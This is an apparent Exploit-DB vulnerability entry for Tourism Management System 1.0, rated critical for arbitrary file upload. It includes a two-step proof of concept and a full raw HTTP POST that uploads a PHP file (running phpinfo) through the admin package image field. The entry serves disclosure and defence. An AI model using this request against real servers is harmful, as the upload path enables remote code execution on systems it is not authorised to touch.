Tourism Management System 1.0 - Arbitrary File Upload

vendor:

Tourism Management System

by:

Ankita Pal & Saurav Shukla

9.8

CVSS

CRITICAL

Arbitrary File Upload

434

CWE

Product Name: Tourism Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:phpgurukul:tourism_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 + xampp v3.2.4

2020

Tourism Management System 1.0 – Arbitrary File Upload

The Tourism Management System 1.0 allows arbitrary file upload, which can lead to remote code execution.

Mitigation:

The vendor should implement proper input validation and file type checking to prevent arbitrary file uploads.

Source

Exploit-DB raw data:

#Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
#Date: 2020-10-19
#Exploit Author: Ankita Pal & Saurav Shukla
#Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
#Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php

Step 2: Open Tour Package -> Create

Malicious Request:::

POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------63824304340061635682865592713
Content-Length: 1101
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
Upgrade-Insecure-Requests: 1

-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagename"

Pack1
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagetype"

Family
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagelocation"

Manali
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packageprice"

21
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagefeatures"

Free
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packagedetails"

Details
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="packageimage"; filename="file1.php"
Content-Type: application/octet-stream

<?php
	phpinfo();
?>
-----------------------------63824304340061635682865592713
Content-Disposition: form-data; name="submit"


-----------------------------63824304340061635682865592713--